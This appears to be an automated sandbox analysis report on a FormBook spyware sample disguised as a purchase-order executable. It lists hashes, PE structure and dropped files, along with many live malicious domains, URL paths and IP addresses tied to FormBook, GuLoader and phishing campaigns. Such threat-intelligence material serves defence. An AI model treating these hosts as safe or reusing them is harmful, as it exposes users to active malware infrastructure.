                                                                                                                                                                                                      Detection:MAL
                                                                                                                                                                                                      Classification:mal100.troj.spyw.evad.winEXE@7/2@18/13
                                                                                                                                                                                                      EGA Information:
                                                                                                                                                                                                      • Successful, ratio: 75%
                                                                                                                                                                                                      HCA Information:
                                                                                                                                                                                                      • Successful, ratio: 95%
                                                                                                                                                                                                      • Number of executed functions: 38
                                                                                                                                                                                                      • Number of non-executed functions: 316
                                                                                                                                                                                                      Cookbook Comments:
                                                                                                                                                                                                      • Found application associated with file extension: .exe
                                                                                                                                                                                                      • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                                      Warnings

                                                                                                                                                                                                      • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                      • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                      • Execution Graph export aborted for target RVeTDjgqyLeJ.exe, PID 6212 because it is empty
                                                                                                                                                                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                      • VT rate limit hit for: PO#001498.exe

                                                                                                                                                                                                      Simulations

                                                                                                                                                                                                      Behavior and APIs

                                                                                                                                                                                                      TimeTypeDescription
                                                                                                                                                                                                      08:45:00API Interceptor9192943x Sleep call for process: forfiles.exe modified

                                                                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                                                                      IPs

                                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                      13.248.169.48lWfpGAu3ao.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.comedy.finance/e21k/
                                                                                                                                                                                                      sa7Bw41TUq.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.firstcry.shop/e4x0/
                                                                                                                                                                                                      8EhMjL3yNF.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.firstcry.shop/2mvq/
                                                                                                                                                                                                      BAJFMONYm2.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.jacquesjanine.online/ey4t/
                                                                                                                                                                                                      fJD7ivEnzm.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.dyme.tech/h7lb/
                                                                                                                                                                                                      jpdy1E8K4A.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.dyme.tech/h7lb/
                                                                                                                                                                                                      Pending invoices.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.extrem.tech/lwlk/
                                                                                                                                                                                                      Arrival Notice.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.firstcry.shop/e4x0/
                                                                                                                                                                                                      presupuesto urgente.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                      • www.sleephygienist.org/9ned/
                                                                                                                                                                                                      -pdf.bat.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.invicta.world/tcs6/
                                                                                                                                                                                                      37.9.175.163PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.elektromontaze.online/t3gh/
                                                                                                                                                                                                      https://www.clubhouseapi.com/r/SPrhq5uVU8OBOslVcDpsrA?s=0Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • zghannk.hu.d.r3.wbsprt.com/favicon.ico
                                                                                                                                                                                                      199.59.243.2277v8szLCQAn.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.donante-de-ovulos.biz/ndmq/
                                                                                                                                                                                                      w64HYOhfv1.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.polarmuseum.info/nuqv/
                                                                                                                                                                                                      sa7Bw41TUq.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.polarmuseum.info/reui/
                                                                                                                                                                                                      ImBm40hNZ2.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                      • www.foundation-repair.biz/enra/
                                                                                                                                                                                                      8EhMjL3yNF.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.ntn.solar/udtr/
                                                                                                                                                                                                      enkJ6J7dAn.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.polarmuseum.info/nuqv/
                                                                                                                                                                                                      PO59458.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.notepad.mobi/42yt/
                                                                                                                                                                                                      NARLOG 08.10.2024.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.online-dating28.xyz/xl8n/
                                                                                                                                                                                                      IRYzGMMbSw.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.pmjjewels.online/aygf/
                                                                                                                                                                                                      SOA SIL TL382920.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • www.online-dating28.xyz/6nb6/

                                                                                                                                                                                                      Domains

                                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                      www.spectre.centerrpedido-002297.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                      • 5.39.10.93
                                                                                                                                                                                                      PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 5.39.10.93
                                                                                                                                                                                                      www.elektromontaze.onlinePO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 37.9.175.163
                                                                                                                                                                                                      www.notepad.mobiPO59458.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      www.chrisflynn.clickPO59458.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 3.131.150.69
                                                                                                                                                                                                      huayang.302.gn301.xyzElectronic Order.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 154.222.238.52
                                                                                                                                                                                                      Inquiry PR#27957.bat.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 154.12.34.252
                                                                                                                                                                                                      www.mcse.topPO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 154.9.228.56
                                                                                                                                                                                                      www.paysom.xyzPO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 203.161.41.205

                                                                                                                                                                                                      ASNs

                                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                      WEBSUPPORT-SRO-SK-ASSKZAMOWIEN.EXE.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                                                                      • 185.111.89.250
                                                                                                                                                                                                      https://alquimista.hosted.phplist.com/lists/lt.php?tid=cE0FU1AHDgIFBx4AXQpVFAZXX18ZAwJTUx9QXA8AVFIMCQAEUVZKAFQHUVFfBFYUCloJBRlWDQ1SH15cAl1MUAFUAwIDUgNQUFlSHQxTUg1XUF9VGVIHVgUfUlgOUUxZXAZSGFMFDwxZBFdUWAEDAAGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 37.9.175.157
                                                                                                                                                                                                      PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 37.9.175.163
                                                                                                                                                                                                      https://www.damia.sk/UniModul/Swiss-kunden/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 37.9.175.179
                                                                                                                                                                                                      https://www.slovago.sk/webtemp/Swiss-kunden/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                      • 37.9.175.156
                                                                                                                                                                                                      https://antai-gouv-fr.troliga.sk/3dsec.phpGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 37.9.175.155
                                                                                                                                                                                                      https://antai-gouv-fr.troliga.sk/paiement.phpGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 37.9.175.155
                                                                                                                                                                                                      bJrO2iUerN.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 37.9.175.164
                                                                                                                                                                                                      docs_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 37.9.175.173
                                                                                                                                                                                                      SHIPPING DOCS_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 37.9.175.173
                                                                                                                                                                                                      AMAZON-02US7v8szLCQAn.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 54.179.173.60
                                                                                                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                      • 52.222.236.80
                                                                                                                                                                                                      lWfpGAu3ao.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 13.248.169.48
                                                                                                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                      • 52.222.236.120
                                                                                                                                                                                                      nL0Vxav3OB.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                      • 18.141.10.107
                                                                                                                                                                                                      sa7Bw41TUq.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 76.223.67.189
                                                                                                                                                                                                      #GtantTTcopy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 76.223.105.230
                                                                                                                                                                                                      8EhMjL3yNF.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 54.67.42.145
                                                                                                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                      • 52.222.236.120
                                                                                                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                      • 52.222.236.23
                                                                                                                                                                                                      BODIS-NJUS7v8szLCQAn.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      w64HYOhfv1.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      sa7Bw41TUq.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      ImBm40hNZ2.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      8EhMjL3yNF.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      4FoPsoGFSS.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      5FteLLQ1oY.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      k49syyxi7V.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      enkJ6J7dAn.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      PO59458.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 199.59.243.227
                                                                                                                                                                                                      TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCNhttps://shorturl.at/yPmuH?sEBM=mt3zoN1OfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 49.51.228.219
                                                                                                                                                                                                      BAJFMONYm2.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                      • 119.28.49.194
                                                                                                                                                                                                      Scan08.10.24(Massimiliano.benso)CQDM.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                      • 162.62.150.187
                                                                                                                                                                                                      na.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 124.156.232.196
                                                                                                                                                                                                      2UngC9fiGa.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                      • 101.32.24.79
                                                                                                                                                                                                      https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcrGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                      • 170.106.97.198
                                                                                                                                                                                                      https://wchckwl.org/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                      • 101.33.11.246
                                                                                                                                                                                                      na.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                      • 101.35.205.151
                                                                                                                                                                                                      na.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                      • 170.106.78.101
                                                                                                                                                                                                      na.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                      • 101.33.107.59

                                                                                                                                                                                                      JA3 Fingerprints

                                                                                                                                                                                                      ⊘No context

                                                                                                                                                                                                      Dropped Files

                                                                                                                                                                                                      ⊘No context

                                                                                                                                                                                                      Created / dropped Files

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\20Y-W08y

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):196608
                                                                                                                                                                                                      Entropy (8bit):1.1239949490932863
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
                                                                                                                                                                                                      MD5:271D5F995996735B01672CF227C81C17
                                                                                                                                                                                                      SHA1:7AEAACD66A59314D1CBF4016038D3A0A956BAF33
                                                                                                                                                                                                      SHA-256:9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
                                                                                                                                                                                                      SHA-512:62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:high, very likely benign file
                                                                                                                                                                                                      Preview:SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\reindulging

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):287744
                                                                                                                                                                                                      Entropy (8bit):7.9940668467979075
                                                                                                                                                                                                      Encrypted:true
                                                                                                                                                                                                      SSDEEP:6144:aAyqVA0yNAEyda054xqJZvXo1zzqRnjPR2BAIWwQPdxMd0yxFkL:IsvwAPZ54EvXo1ncjPR2BywCdxMdxSL
                                                                                                                                                                                                      MD5:3D14D08C695969615F88A2747FD2D305
                                                                                                                                                                                                      SHA1:64FACD001516991898B2C52906C10358E09F3AC3
                                                                                                                                                                                                      SHA-256:4AE69C12CC731C516B90C160F77219F7CADFDDBBA12DBA5551B81A0F1CA633B9
                                                                                                                                                                                                      SHA-512:8BD6700BC035F401F9B707F4647EF97547F3AC724FB206FE27E1B263781BAFBC22CB30DFAB59BF38B52F52DEFAF4159702BA2C85C08C2A76CBA955A590FC8EB2
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:low
                                                                                                                                                                                                      Preview:.....921J..0....s.MO....19...T9121GOPMLIW3921JHPT9121GOPMLI.392?U.^T.8...N..m.?ZJ.A8'7&X\.R&!>"8i5V.@D$h9:.u}bg"?))gZ>3.1JHPT91K0N.m-+.jS^..*/.N....'(.W...YU.P....QU..&3%q)0.921JHPT9aw1G.QLL.Nn21JHPT91.1EN[LGIWa=21JHPT912.TOPM\IW3I61JH.T9!21GMPMJIW3921JNPT9121GO ILIU3921JHRTy.21WOP]LIW3)21ZHPT912!GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT91.E"7$MLI.b=21ZHPTk521WOPMLIW3921JHPT.12QGOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT9121GOPMLIW3921JHPT

                                                                                                                                                                                                      Static File Info

                                                                                                                                                                                                      General

                                                                                                                                                                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                      Entropy (8bit):7.530282862533364
                                                                                                                                                                                                      TrID:
                                                                                                                                                                                                      • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                                                                                                                                                      • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                                                                                                                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                      • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                      File name:PO#001498.exe
                                                                                                                                                                                                      File size:1'360'927 bytes
                                                                                                                                                                                                      MD5:dc878e2177f3d0fad6e29c729252304a
                                                                                                                                                                                                      SHA1:cedfb728376873319d4bebe9047584c92952c41b
                                                                                                                                                                                                      SHA256:9d9d76734263b40cacdc9d83eb196979f81568e5397e76e263d2c95f362e2b57
                                                                                                                                                                                                      SHA512:970069d272ab265dcc1777b7ff2eac759113aa73c3fd7a7f25b0948964f11e51b343200ede0a38109a2c92ec88df385239fd2ffa33f63a02321ed673f071c25e
                                                                                                                                                                                                      SSDEEP:24576:ffmMv6Ckr7Mny5QL5m/br4/7YXEJFJUIiHQNfycGb6oXFu+:f3v+7/5QL58brY7NFJBkQNqcR6Fu+
                                                                                                                                                                                                      TLSH:B155F112F7D680B6DDA339B12A7BE32ADB3475194323C5CB97E02E768F211409B36761
                                                                                                                                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

                                                                                                                                                                                                      File Icon

                                                                                                                                                                                                      Icon Hash:1733312925935517

                                                                                                                                                                                                      Static PE Info

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Entrypoint:0x416310
                                                                                                                                                                                                      Entrypoint Section:.text
                                                                                                                                                                                                      Digitally signed:false
                                                                                                                                                                                                      Imagebase:0x400000
                                                                                                                                                                                                      Subsystem:windows gui
                                                                                                                                                                                                      Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                                                                                                                                      DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                                                                                                                      Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                                                                                                                                                      TLS Callbacks:
                                                                                                                                                                                                      CLR (.Net) Version:
                                                                                                                                                                                                      OS Version Major:5
                                                                                                                                                                                                      OS Version Minor:0
                                                                                                                                                                                                      File Version Major:5
                                                                                                                                                                                                      File Version Minor:0
                                                                                                                                                                                                      Subsystem Version Major:5
                                                                                                                                                                                                      Subsystem Version Minor:0
                                                                                                                                                                                                      Import Hash:aaaa8913c89c8aa4a5d93f06853894da

                                                                                                                                                                                                      Entrypoint Preview

                                                                                                                                                                                                      Instruction
                                                                                                                                                                                                      call 00007F27DCC82F4Ch
                                                                                                                                                                                                      jmp 00007F27DCC76D1Eh
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      push ebp
                                                                                                                                                                                                      mov ebp, esp
                                                                                                                                                                                                      push edi
                                                                                                                                                                                                      push esi
                                                                                                                                                                                                      mov esi, dword ptr [ebp+0Ch]
                                                                                                                                                                                                      mov ecx, dword ptr [ebp+10h]
                                                                                                                                                                                                      mov edi, dword ptr [ebp+08h]
                                                                                                                                                                                                      mov eax, ecx
                                                                                                                                                                                                      mov edx, ecx
                                                                                                                                                                                                      add eax, esi
                                                                                                                                                                                                      cmp edi, esi
                                                                                                                                                                                                      jbe 00007F27DCC76EAAh
                                                                                                                                                                                                      cmp edi, eax
                                                                                                                                                                                                      jc 00007F27DCC7704Ah
                                                                                                                                                                                                      cmp ecx, 00000100h
                                                                                                                                                                                                      jc 00007F27DCC76EC1h
                                                                                                                                                                                                      cmp dword ptr [004A94E0h], 00000000h
                                                                                                                                                                                                      je 00007F27DCC76EB8h
                                                                                                                                                                                                      push edi
                                                                                                                                                                                                      push esi
                                                                                                                                                                                                      and edi, 0Fh
                                                                                                                                                                                                      and esi, 0Fh
                                                                                                                                                                                                      cmp edi, esi
                                                                                                                                                                                                      pop esi
                                                                                                                                                                                                      pop edi
                                                                                                                                                                                                      jne 00007F27DCC76EAAh
                                                                                                                                                                                                      pop esi
                                                                                                                                                                                                      pop edi
                                                                                                                                                                                                      pop ebp
                                                                                                                                                                                                      jmp 00007F27DCC7730Ah
                                                                                                                                                                                                      test edi, 00000003h
                                                                                                                                                                                                      jne 00007F27DCC76EB7h
                                                                                                                                                                                                      shr ecx, 02h
                                                                                                                                                                                                      and edx, 03h
                                                                                                                                                                                                      cmp ecx, 08h
                                                                                                                                                                                                      jc 00007F27DCC76ECCh
                                                                                                                                                                                                      rep movsd
                                                                                                                                                                                                      jmp dword ptr [00416494h+edx*4]
                                                                                                                                                                                                      nop
                                                                                                                                                                                                      mov eax, edi
                                                                                                                                                                                                      mov edx, 00000003h
                                                                                                                                                                                                      sub ecx, 04h
                                                                                                                                                                                                      jc 00007F27DCC76EAEh
                                                                                                                                                                                                      and eax, 03h
                                                                                                                                                                                                      add ecx, eax
                                                                                                                                                                                                      jmp dword ptr [004163A8h+eax*4]
                                                                                                                                                                                                      jmp dword ptr [004164A4h+ecx*4]
                                                                                                                                                                                                      nop
                                                                                                                                                                                                      jmp dword ptr [00416428h+ecx*4]
                                                                                                                                                                                                      nop
                                                                                                                                                                                                      mov eax, E4004163h
                                                                                                                                                                                                      arpl word ptr [ecx+00h], ax
                                                                                                                                                                                                      or byte ptr [ecx+eax*2+00h], ah
                                                                                                                                                                                                      and edx, ecx
                                                                                                                                                                                                      mov al, byte ptr [esi]
                                                                                                                                                                                                      mov byte ptr [edi], al
                                                                                                                                                                                                      mov al, byte ptr [esi+01h]
                                                                                                                                                                                                      mov byte ptr [edi+01h], al
                                                                                                                                                                                                      mov al, byte ptr [esi+02h]
                                                                                                                                                                                                      shr ecx, 02h
                                                                                                                                                                                                      mov byte ptr [edi+02h], al
                                                                                                                                                                                                      add esi, 03h
                                                                                                                                                                                                      add edi, 03h
                                                                                                                                                                                                      cmp ecx, 08h
                                                                                                                                                                                                      jc 00007F27DCC76E6Eh

                                                                                                                                                                                                      Rich Headers

                                                                                                                                                                                                      Programming Language:
                                                                                                                                                                                                      • [ASM] VS2008 SP1 build 30729
                                                                                                                                                                                                      • [ C ] VS2008 SP1 build 30729
                                                                                                                                                                                                      • [C++] VS2008 SP1 build 30729
                                                                                                                                                                                                      • [ C ] VS2005 build 50727
                                                                                                                                                                                                      • [IMP] VS2005 build 50727
                                                                                                                                                                                                      • [ASM] VS2008 build 21022
                                                                                                                                                                                                      • [RES] VS2008 build 21022
                                                                                                                                                                                                      • [LNK] VS2008 SP1 build 30729

                                                                                                                                                                                                      Data Directories

                                                                                                                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                      Sections

                                                                                                                                                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                      .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                      .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                      .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                      .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                      Resources

                                                                                                                                                                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                      RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                                                                                                                                      RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                                                                                                                                      RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                                                                                                                                      RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                                                                                                                                                      RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                                                                                                                                                      RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                                                                                                                                                      RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                                                                                                                                                      RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                                                                                                                                                      RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                                                                                                                                                      RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                                                                                                                                                      RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                                                                                                                                                                                      RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                                                                                                                                                      RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                                                                                                                                                      RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                                                                                                                                                      RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                                                                                                                                                      RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                                                                                                                                                      RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                                                                                                                                                      RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
